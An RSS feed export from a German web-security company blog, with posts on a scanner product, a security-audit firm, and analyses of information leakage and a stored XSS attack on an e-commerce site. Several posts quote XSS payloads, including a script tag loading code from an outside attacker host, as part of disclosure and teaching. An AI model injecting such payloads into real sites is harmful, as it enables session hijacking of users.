<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    <title>ThinkPHP /dev/blog - Chorizo</title>
    <link>http://blog.mayflower.de/</link>
    <description>the php thinkers php sink</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.5.3 - http://www.s9y.org/</generator>
    <pubDate>Fri, 11 Jan 2008 09:04:29 GMT</pubDate>

    <image>
        <url>http://blog.mayflower.de/templates/mayflower/img/s9y_banner_small.png</url>
        <title>RSS: ThinkPHP /dev/blog - Chorizo - the php thinkers php sink</title>
        <link>http://blog.mayflower.de/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>c't empfiehlt Chorizo für ajax Sicherheitsprüfungen</title>
    <link>http://blog.mayflower.de/archives/285-ct-empfiehlt-Chorizo-fuer-ajax-Sicherheitspruefungen.html</link>
            <category>Chorizo</category>
    
    <comments>http://blog.mayflower.de/archives/285-ct-empfiehlt-Chorizo-fuer-ajax-Sicherheitspruefungen.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=285</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=285</wfw:commentRss>
    

    <author>nospam@example.com (Albrecht Günther)</author>
    <content:encoded>
    Die aktuelle Ausgabe der c&#039;t bringt unter dem Titel &quot;Risiko 2.0&quot; einen Artikel zur Sicherheit von Ajax Anwendungen. Der Autor stellt fest daß den vielfältigen Möglichkeiten, Ajax Funktionen auszuhebeln, eine sehr geringe Zahl von Tools gegenübersteht, die Schwachstellen zu testen und zu reporten. Neben Sprajax wird unser Security Scanner &lt;a href=&quot;http://chorizo-scanner.com&quot; title=&quot;Chorizo!&quot; target=&quot;_blank&quot;&gt;Chorizo!&lt;/a&gt; empfohlen.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Wer ihn noch nicht kennt: Chorizo ist ein Online-Scanner der nach XSS, CSRF, SQL Injections, Remote Code Executions und vielen anderen Vulnerabilites fahndet und reported. Keine Softwareinstallation nötig - alles geschieht im Browser.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Wer ihn testen mag: einen vollwertigen Account für eine Domain (Chorizo Free) gibt es &lt;a target=&quot;_blank&quot; href=&quot;https://chorizo-scanner.com/compareversions&quot;&gt;hier&lt;/a&gt;.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 11 Jan 2008 09:19:31 +0100</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/285-guid.html</guid>
    <category>chorizo</category>
<category>csrf</category>
<category>security</category>
<category>security2.0</category>
<category>xss</category>

</item>
<item>
    <title>SektionEins launcht offiziell (Deutsch)</title>
    <link>http://blog.mayflower.de/archives/261-SektionEins-launcht-offiziell-Deutsch.html</link>
            <category>Chorizo</category>
    
    <comments>http://blog.mayflower.de/archives/261-SektionEins-launcht-offiziell-Deutsch.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=261</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=261</wfw:commentRss>
    

    <author>nospam@example.com (Björn Schotte)</author>
    <content:encoded>
    &lt;p&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://www.sektioneins.de/&#039;&gt;&lt;!-- s9ymdb:178 --&gt;&lt;img width=&#039;600&#039; height=&#039;397&#039; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.mayflower.de/uploads/sektioneins/sektioneins_website.jpg&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
(Fast) Pünktlich zum von SektionEins verfassten &lt;a href=&quot;http://www.phpbb.com/community/viewtopic.php?f=14&amp;t=585093&quot; &gt;Security Audit von phpBB3&lt;/a&gt;, der im dortigen RC6/RC7 mündete, ist nun auch die &lt;a href=&quot;http://www.sektioneins.de/&quot; &gt;SektionEins Website&lt;/a&gt; in Deutsch und Englisch online gegangen (falls es zu Problemen beim Zugriff kommt, kann es noch an Ihrer DNS-Auflösung liegen). Zur Rekapitulation: die SektionEins GmbH ist unsere Schwesterfirma/Joint Venture, die wir zusammen mit Stefan Esser gegründet haben. SektionEins führt primär Security Audits für Applikationen auf Basis von serverseitigen (PHP, Java, Ruby, Perl, Python, ...) und clientseitigen (Flash, JavaScript) Technologien durch. Mehr Informationen gibt es über das &lt;a href=&quot;http://www.sektioneins.de/content/de.2610.21.28501.content2.html&quot; &gt;Kontaktformular&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
Wer die Security Captains der SektionEins persönlich zum Gespräch treffen möchte, der kann das auch im neuen Büro tun:&lt;br/&gt;&lt;br/&gt;
SektionEins GmbH&lt;br/&gt;
Eupener Straße 150&lt;br/&gt;
50933 Köln
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
Ein herzliches Dankeschön gilt auch Oliver Schwarz von &lt;a href=&quot;http://www.hasematzel.de/&quot; &gt;hasematzel.de&lt;/a&gt;, der das Layout in feinstem Photoshop, XHTML und CSS umgesetzt hat!
&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 15 Oct 2007 18:58:07 +0200</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/261-guid.html</guid>
    <category>security</category>
<category>sektioneins</category>

</item>
<item>
    <title>Warmlaufen mit Flash Security</title>
    <link>http://blog.mayflower.de/archives/238-Warmlaufen-mit-Flash-Security.html</link>
            <category>Chorizo</category>
    
    <comments>http://blog.mayflower.de/archives/238-Warmlaufen-mit-Flash-Security.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=238</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=238</wfw:commentRss>
    

    <author>nospam@example.com (Björn Schotte)</author>
    <content:encoded>
    &lt;p&gt;
&lt;!-- s9ymdb:165 --&gt;&lt;img width=&#039;128&#039; height=&#039;128&#039; style=&quot;float: right; border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.mayflower.de/uploads/fukami-128x128.jpg&quot; alt=&quot;fukami&quot; title=&quot;fukami&quot; /&gt;Die &lt;a href=&quot;http://www.sektioneins.de/&quot;&gt;SektionEins GmbH&lt;/a&gt;, unser neues Venture zusammen mit Stefan Esser, bekommt Zuwachs. &lt;a href=&quot;http://fukami.vakuum.net/&quot;&gt;fukami&lt;/a&gt;, Speaker zum Beispiel auf dem &lt;a href=&quot;http://events.ccc.de/camp/2007/Fahrplan/events/1994.en.html&quot; &gt;Chaos Communication Camp 2007&lt;/a&gt; und der &lt;a href=&quot;http://programm.froscon.org/2007/events/21.en.html&quot; &gt;FrOSCON&lt;/a&gt;, wird ab September unser neuer Mitarbeiter. Zur Erinnerung: die SektionEins GmbH führt in erster Linie Security Audits durch, mit einem Spezialfokus auf PHP, aber auch grundsätzlich alle webbasierten Applikationen (Java, RubyOnRails, Perl, ...). Künftig bereichert SektionEins alle Audit-Kunden auch mit einem besonderen Flash Security KnowHow.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
Sein erstes Warmup hatte fukami auf dem Kölner Webmontag vor zwei Tagen: dort hielt er einen Vortrag über &quot;Flash Security Basics - Register Globals the Flash Way&quot; und durfte dankenswerterweise die Applikation der Kollegen von &lt;a href=&quot;http://www.townkings.de/&quot;&gt;TownKings&lt;/a&gt; (&lt;a href=&quot;http://www.town-news.de/blog04/?p=55&quot; &gt;Blog-Eintrag von TownKings zum Webmontag&lt;/a&gt;) dazu benutzen. :-) Erfreulicherweise gibt es von fukamis Vortrag einen Videomitschnitt (auf das Bild klicken, dann gelangt Ihr zum Video):
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&quot;http://de.sevenload.com/videos/qcwzu47/Webmontag-Koeln-23-Juli-2007-fukami&quot;&gt;&lt;!-- s9ymdb:164 --&gt;&lt;img width=&#039;459&#039; height=&#039;343&#039; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.mayflower.de/uploads/fukami_webmontag_23072007.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&quot;mailto:info@sektioneins.de&quot;&gt;Noch Fragen?&lt;/a&gt;
&lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 25 Jul 2007 14:58:13 +0200</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/238-guid.html</guid>
    <category>sektioneins</category>

</item>
<item>
    <title>Scriptgenerierung zur Einbindung nach extern nicht immer sinnvoll</title>
    <link>http://blog.mayflower.de/archives/227-Scriptgenerierung-zur-Einbindung-nach-extern-nicht-immer-sinnvoll.html</link>
            <category>Chorizo</category>
    
    <comments>http://blog.mayflower.de/archives/227-Scriptgenerierung-zur-Einbindung-nach-extern-nicht-immer-sinnvoll.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=227</wfw:comment>

    <slash:comments>3</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=227</wfw:commentRss>
    

    <author>nospam@example.com (Björn Schotte)</author>
    <content:encoded>
    &lt;p&gt;Nebenstehendes habe ich heute irgendwo auf einem Blog gefunden.&lt;!-- s9ymdb:157 --&gt;&lt;img width=&#039;236&#039; height=&#039;564&#039; style=&quot;float: right; border: 0px; padding-left: 10px; padding-right: 5px;&quot; src=&quot;http://blog.mayflower.de/uploads/sidebar_sourcecode.png&quot; alt=&quot;&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;
Das Problem ist hier scheinbar, dass in der Sidebar des Blogs ein externer Dienst eingebunden wird. Ein Lookup beim Diensteanbieter selbst und dem Infofilmchen zeigt, dass man sich serverseitige Scripte (PHP/Perl) generieren lassen kann, die man dann ins Blog einbinden kann. Konkret geht es hier um Linkvermarktung, und Blogger können dann in der Sidebar dieses Scriptchen einbinden, dass dann vom externen Diensteanbieter die AdLinks holt und diese dann in die Sidebar ausgespuckt werden.
&lt;/p&gt;
&lt;p&gt;
Im ersten Moment an sich keine schlechte Idee, und auch ein toller Service, denn viele Blogs sind in PHP/Perl geschrieben und eine Einbindung scheint da einfach, zumal man als Betrachter kein JavaScript benutzen muss. Der Nachteil allerdings ist, wenn wie hier offensichtlich eine Fehlbedienung vorliegt und das Blog - aus welchem Grund auch immer - den integrierten Quellcode nicht ausführt, sondern einfach als Text anzeigt.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
Wo ist dann jetzt genau das Problem? Nun, ein großes Problem ist sicherlich, dass der serverseitige (PHP-)Quellcode hier einfach in der Sidebar steht und über &quot;View HTML Source&quot; zur näheren Betrachtung extrahiert und abgespeichert werden kann. Viel &quot;schlimmer&quot; ist allerdings, dass der Quellcode Informationen zum Account des Blognutzers beim externen Diensteanbieter enthält. Hier also eine Art adspaceid, die keinem Integer Wert entspricht, sondern aus dem Hexadezimal-Raum besteht. Für einen potenziellen Angreifer ist dies recht nützlich, denn im Zuge der Informationsgewinnung konnte hier die ID eines echten Nutzeraccounts gewonnen werden, an die man sonst vielleicht nicht gekommen wäre (wobei man dies allerdings relativieren muss, viele JS-Widgets übergeben ja auch eine Art accountid an den externen Dienst). Desweiteren ist aus dem Quellcode zu entnehmen, wo das beim externen Diensteanbieter serverseitige Script liegt, dem die adspaceid übergeben wird und das dann die AdLinks zurückgibt, so dass man hier auch direkt weitere Informationen enthält, die sich für einen potenziellen Angriff beim externen Diensteanbieter nutzen lassen.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
Zusätzlich bekommen wir noch Informationen über die Autoren der serverseitigen Scripte. Aus der Programmierweise könnte sich ableiten lassen, wie eventuell der Rest der Software beim externen Diensteanbieter programmiert ist, so dass sich Rückschlüsse daraus ziehen lassen könnten, wo man bei einem potenziellen Angriff noch ansetzen könnte. Die Referenz auf das externe Script ist mit der endung .php5 markiert. Wenn ich per telnet einen HEAD / HTTP/1.0 Request auf Port 80 des externen Diensteanbieters mache, dann sehe ich, dass expose_php vorbildlich auf Off gesetzt wurde, demnach die Webserver-Signatur (Apache 2.0.54) keine Auskunft darüber gibt, welche PHP-Version eingesetzt wird. Dank der Benamung auf .php5 wissen wir jedoch jetzt, dass PHP5 eingesetzt wird.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
Was kann man daraus lernen? Meines Erachtens zwei Dinge:
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Als Blogger sollte man sein Blog gut konfigurieren und bei Änderungen lieber 2x nachschauen als nur flüchtig 1x. Klar, wie immer gilt auch hier, man ist auch nur ein Mensch, und Fehler können passieren&lt;/li&gt;
&lt;li&gt;Als Diensteanbieter mag es schön sein, für den Kunden (hier: der Blognutzer) serverseitige Scripte zu generieren (noch dazu vorbildlich nach PHPDoc dokumentiert), die dieser dann extern einbinden kann. Der augenscheinliche Vorteil liegt hier darin begraben, dass ein Besucher des Blogs kein JavaScript benötigt um sich dieses Widget anzusehen. Dies wird jedoch dadurch konterkariert, dass eine gewisse Restgefahr bleibt, dass der serverseitige Code nun doch nicht serverseitig bleiben wird, wie hier geschehen. Insbesondere hat man als Anbieter von Diensten und Services eine besondere Verantwortung gegenüber den Nutzern/Kunden. Dass dies im Zuge der teilweise extrem kurzen Releasezyklen im Web2.0-Zeitalter manchmal hinten unter fällt, konnte man in der jüngsten Vergangenheit leider häufiger beobachten.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
Also doch lieber die Einbindung von Widgets via JavaScript?
&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sat, 19 May 2007 10:30:00 +0200</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/227-guid.html</guid>
    <category>security</category>

</item>
<item>
    <title>Update: Analyse des HTML Sourcecodes der Second Order Attacke</title>
    <link>http://blog.mayflower.de/archives/216-Update-Analyse-des-HTML-Sourcecodes-der-Second-Order-Attacke.html</link>
            <category>Chorizo</category>
            <category>E-Commerce</category>
    
    <comments>http://blog.mayflower.de/archives/216-Update-Analyse-des-HTML-Sourcecodes-der-Second-Order-Attacke.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=216</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=216</wfw:commentRss>
    

    <author>nospam@example.com (Björn Schotte)</author>
    <content:encoded>
    &lt;p&gt;
Ein &lt;a href=&quot;http://blog.thinkphp.de/archives/215-shoppero.com-gleich-erstes-Opfer-von-Second-Order-XSS-Attacks.html&quot; &gt;kleines Update zum vorherigen Beitrag&lt;/a&gt;: der Nutzer &quot;lars&quot; schien harmlos zu sein. Schaut man sich den HTML-Quellcode näher an, kommt ein altbekanntes Gesicht zum Vorschein:
&lt;/p&gt;
&lt;blockquote&gt;&lt;pre&gt;
		
&amp;lt;div class=&quot;listitem searchlists&quot;&amp;gt;
		&amp;lt;a href=&quot;index.php?action=lists&amp;amp;subaction=show_detail&amp;amp;list_lookup_id=111128&quot;&amp;gt;
&amp;lt;img class=&quot;listthumb&quot; src=&quot;http://s3.amazonaws.com/product_thumbs/&quot; alt=&quot;&quot; title=&quot;&quot;/&amp;gt;&amp;lt;/a&amp;gt;
		&amp;lt;span class=&quot;listtitle&quot;&amp;gt;&quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;

		&quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;br /&amp;gt;
		&amp;lt;span class=&quot;addedby&quot;&amp;gt;Erstellt von lars&amp;lt;/span&amp;gt;
	&amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;listitem searchlists&quot;&amp;gt;
		&amp;lt;a href=&quot;index.php?action=lists&amp;amp;subaction=show_detail&amp;amp;list_lookup_id=111129&quot;&amp;gt;
&amp;lt;img class=&quot;listthumb&quot; src=&quot;http://s3.amazonaws.com/product_thumbs/&quot; alt=&quot;&quot; title=&quot;&quot;/&amp;gt;&amp;lt;/a&amp;gt;
		&amp;lt;span class=&quot;listtitle&quot;&amp;gt;&quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;

		&quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;br /&amp;gt;
		&amp;lt;span class=&quot;addedby&quot;&amp;gt;Erstellt von lars&amp;lt;/span&amp;gt;
	&amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;listitem searchlists&quot;&amp;gt;
		&amp;lt;a href=&quot;index.php?action=lists&amp;amp;subaction=show_detail&amp;amp;list_lookup_id=111130&quot;&amp;gt;
&amp;lt;img class=&quot;listthumb&quot; src=&quot;http://s3.amazonaws.com/product_thumbs/&quot; alt=&quot;fnord fnord&quot;&amp;gt;fnord
&amp;lt;script src=http://o01o.f-4&quot; title=&quot;fnord fnord&quot;&amp;gt;fnord&amp;lt;script src=http://o01o.f-4&quot;/&amp;gt;&amp;lt;/a&amp;gt;
		&amp;lt;span class=&quot;listtitle&quot;&amp;gt;&quot;&amp;gt;&amp;lt;script src=http://o01o.f-451.net/a.js&amp;gt;&amp;lt;/sc&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;
		&quot;&amp;gt;&amp;lt;script src=http://o01o.f-451.net/a.js&amp;gt;&amp;lt;/script&amp;gt;foo&amp;lt;br /&amp;gt;
		&amp;lt;span class=&quot;addedby&quot;&amp;gt;&lt;strong&gt;Erstellt von fukami&lt;/strong&gt;&amp;lt;/span&amp;gt;

&lt;/pre&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
fukami.
&lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 04 May 2007 09:16:38 +0200</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/216-guid.html</guid>
    <category>e-commerce</category>
<category>xss</category>

</item>
<item>
    <title>shoppero.com gleich erstes Opfer von Second Order XSS Attacks</title>
    <link>http://blog.mayflower.de/archives/215-shoppero.com-gleich-erstes-Opfer-von-Second-Order-XSS-Attacks.html</link>
            <category>Chorizo</category>
            <category>E-Commerce</category>
    
    <comments>http://blog.mayflower.de/archives/215-shoppero.com-gleich-erstes-Opfer-von-Second-Order-XSS-Attacks.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=215</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=215</wfw:commentRss>
    

    <author>nospam@example.com (Björn Schotte)</author>
    <content:encoded>
    &lt;p&gt;
Ich wollte Nico Lumma zum &lt;a href=&quot;http://lumma.de/eintrag.php?id=3415&quot; &gt;Launch&lt;/a&gt; von &lt;a href=&quot;http://shoppero.com/&quot; &gt;shoppero.com&lt;/a&gt; beglückwünschen und wie es sich unter Kollegen gehört per E-Mail noch ein paar Verbesserungswünsche (auch aus sicherheitstechnischer Sicht) zum Launch zumailen. Über die &lt;a href=&quot;http://www.ringfahndung.de/archives/digitaler_humbug/uups_shoppero.html&quot; &gt;Vorstellung eines sogenannten Adgets in einem Blog&lt;/a&gt; und der allgemeinen &lt;a href=&quot;http://www.e-commerce-blog.de/2007/05/03/shoppero-konzept/&quot; &gt;Kritik am Konzept im E-Commerce Blog&lt;/a&gt; (die ich übrigens nur bedingt teile, da ich es gut finde, dass neben Adical auch noch der eine oder andere - ähnliche - Mitbewerber auf den Markt kommt) kam ich auf die Empfehlungsseite bei shopper.com. Dann habe ich ein bißchen rumgebrowst und bin u.a. auf der URL http://shoppero.com/index.php?action=lists&amp;subaction=search_by_letter&amp;letter=t (die ich jetzt absichtlich &lt;strong&gt;NICHT&lt;/strong&gt; verlinke: aktuell ist es so, wenn Ihr dort drauf klickt, findet eine Second Order XSS Attacke (persistentes XSS, auch Type-2 XSS genannt - das die Basis für JavaScript-Viren ist, siehe z.B. den MySpace Wurm vor einigen Jahren) von einem registrierten Nutzer statt, der Eure Session entführt, bitte daher also mit einer frischen Browser-Session ohne irgendwelche anderen offenen Tabs/Logins etc. anschauen!) stehen geblieben. Die folgenden Screenshots sollen einfach mal ohne Worte verdeutlichen, wie gefährlich mangelnde Sicherheit sein kann. Nico ist bereits per E-Mail benachrichtigt, und ich gehe davon aus, dass der Nutzer schnell entfernt werden wird und die potenziellen Bugs geschlossen werden.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;Die Thumbs sind auf die Originalgröße verlinkt.&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://blog.mayflower.de/uploads/shoppero_secondorder_xss_1.png&#039;&gt;&lt;!-- s9ymdb:151 --&gt;&lt;img width=&#039;110&#039; height=&#039;69&#039; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.mayflower.de/uploads/shoppero_secondorder_xss_1.serendipityThumb.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;br/&gt;
Aufruf der URL. Alles erst mal noch ganz harmlos. Ausgabe der Liste stockt.
&lt;br/&gt;&lt;br/&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://blog.mayflower.de/uploads/shoppero/shoppero_secondorder_xss_2.png&#039;&gt;&lt;!-- s9ymdb:152 --&gt;&lt;img width=&#039;110&#039; height=&#039;69&#039; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.mayflower.de/uploads/shoppero/shoppero_secondorder_xss_2.serendipityThumb.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;br/&gt;
Nun wird per XSS ein JS Alert (sieht man hier gerade nicht im Screenshot) ausgegeben.
&lt;br/&gt;&lt;br/&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://blog.mayflower.de/uploads/shoppero/shoppero_secondorder_xss_3.png&#039;&gt;&lt;!-- s9ymdb:153 --&gt;&lt;img width=&#039;110&#039; height=&#039;69&#039; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.mayflower.de/uploads/shoppero/shoppero_secondorder_xss_3.serendipityThumb.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;br/&gt;
Meine Session-ID wird angezeigt. Gott sei Dank bin ich nicht dort registriert und auch nicht eingeloggt, sonst hätte der Angreifer eine gültige Session und damit auch möglicherweise einen gültigen Login.
&lt;br/&gt;&lt;br/&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://blog.mayflower.de/uploads/shoppero/shoppero_secondorder_xss_4.png&#039;&gt;&lt;!-- s9ymdb:154 --&gt;&lt;img width=&#039;110&#039; height=&#039;69&#039; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.mayflower.de/uploads/shoppero/shoppero_secondorder_xss_4.serendipityThumb.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;br/&gt;
Danach erfolgt ein Redirect auf eine Site des Angreifers.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
Das war purer Zufall, dass ich diese Second Order XSS Attacke eines anderen Nutzers entdeckt habe. Diese möchte ich hier dokumentieren, um zu verdeutlichen, wie wichtig es gerade im Bereich E-Commerce, in dem es immerhin um Transaktionen und auch Geld geht, ist, seine Site so sicher wie möglich zu machen. Zur Erklärung: die Site ist per se nicht unsicher. In diesem Beispiel ist es so, dass scheinbar der Blätter-/Anzeigemechanismus der Empfehlungen der User anfällig ist für so genannte second order XSS Attacken. Dh. ein Angreifer konnte wohl in Profildaten oder Produktbeschreibungen speziellen JavaScript-Code hinterlassen. Dieser wird dann bei Durchsicht ausgeführt, wenn ein Nutzer auf obige URL klickt. Das ist deswegen möglicherweise so gefährlich, weil die XSS Attacke genau dort auftritt, wo viele Nutzer vermutlich auch hinkommen werden, nämlich beim Durchblättern der User/Angebote. Anders als bei &quot;normalen&quot; XSS Attacken, wo der Angreifer direkt einen Nutzer zur Ausführung einer URL bringen muss (z.B. durch Versand einer E-Mail oder wie im gestrigen Beispiel Verkürzung einer URL), kann man hier in aller Seelenruhe den Schadcode in die potenziell verwundbare Applikation einbringen und muss dann nur warten, bis die Nutzer auf diese Seite gehen und kann &quot;die Früchte ernten&quot;, also die Nutzersessions.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;UPDATE:&lt;/strong&gt; für eine &quot;Analyse&quot; des HTML-Sourcecodes siehe den &lt;a href=&quot;http://blog.thinkphp.de/archives/216-Update-Analyse-des-HTML-Sourcecodes-der-Second-Order-Attacke.html&quot; &gt;Folgebeitrag&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;UPDATE 2:&lt;/strong&gt; Auf dem &lt;a href=&quot;http://www.fixmbr.de/shoppero-was-haltet-ihr-davon-euren-laden-wieder-vom-netz-zu-nehmen/&quot; &gt;fixmbr Blog&lt;/a&gt;, genauer gesagt in den &lt;a href=&quot;http://www.fixmbr.de/shoppero-dialergeschichten-und-nackte-hintern/#comment-13321&quot; &gt;Userkommentaren&lt;/a&gt;, scheint man schon bereits gestern Abend auf diese Lücke gestoßen zu sein.
&lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 04 May 2007 07:43:03 +0200</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/215-guid.html</guid>
    <category>e-commerce</category>
<category>shoppero</category>
<category>xss</category>

</item>
<item>
    <title>Twitter-Klone, Web2.0 Apps &amp; Co: sicher genug?</title>
    <link>http://blog.mayflower.de/archives/196-Twitter-Klone,-Web2.0-Apps-Co-sicher-genug.html</link>
            <category>Chorizo</category>
    
    <comments>http://blog.mayflower.de/archives/196-Twitter-Klone,-Web2.0-Apps-Co-sicher-genug.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=196</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=196</wfw:commentRss>
    

    <author>nospam@example.com (Björn Schotte)</author>
    <content:encoded>
    &lt;p&gt;
Nachdem nun auch im deutschsprachigen Raum der eine oder andere &lt;a href=&quot;http://www.twitter.com/&quot;&gt;twitter&lt;/a&gt; Klon &lt;a href=&quot;http://shoppingzweinull.blogspot.com/2007/04/was-mache-ich-eigentlch-mit-twitter.html&quot; &gt;aus&lt;/a&gt; &lt;a href=&quot;http://ichmirmich.de/blog/2007/04/10/nachtrag-zu-deutscher-twittervariante/&quot;&gt;dem&lt;/a&gt; &lt;a href=&quot;http://www2.dealicious.de/2007/04/10/texteln-vs-frazr/&quot;&gt;Boden&lt;/a&gt; &lt;a href=&quot;http://www.sichelputzer.de/2007/04/10/twitter-jaiku-frazr-und-texteln/&quot;&gt;gestampft&lt;/a&gt; wurde, sollte man die Diskussion um die ganzen Copycats der so genannten Web2.0 Communities/Portale/Applikation auch noch einmal aus einem anderen Blickwinkel betrachten: der Sicherheit.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
Wenn Dinge &quot;schnell, schnell&quot; aus dem Boden gestampft werden, ist die Gefahr immer hoch, dass der Sicherheitsaspekt darunter leiden mag. Sicherheit hat ihren Preis und im Übrigen auch dank des Internets und seiner Vielfalt auch eine immer höhere Komplextität. Von Dingen wie UTF-7 XSS Bugs mag ich gar nicht reden, aber ein Mindestmaß an Filterung/Validierung, um zumindest die gröbsten Schnitzer à la
&lt;/p&gt;
&lt;blockquote&gt;
&quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&amp;lt;a href=&quot;
&lt;/blockquote&gt;
&lt;p&gt;
zu vermeiden, sollte schon drin sein. Speziell, wenn es sich um die so genannten &quot;Web2.0 Communities&quot; handelt, bei denen eine Heerschar an Nutzern ihre Profile pflegt.
&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;
Das Problem ist doch ganz einfach folgendes:
 &lt;br /&gt;&lt;a href=&quot;http://blog.mayflower.de/archives/196-Twitter-Klone,-Web2.0-Apps-Co-sicher-genug.html#extended&quot;&gt;Continue reading &quot;Twitter-Klone, Web2.0 Apps &amp;amp; Co: sicher genug?&quot;&lt;/a&gt;
    </content:encoded>

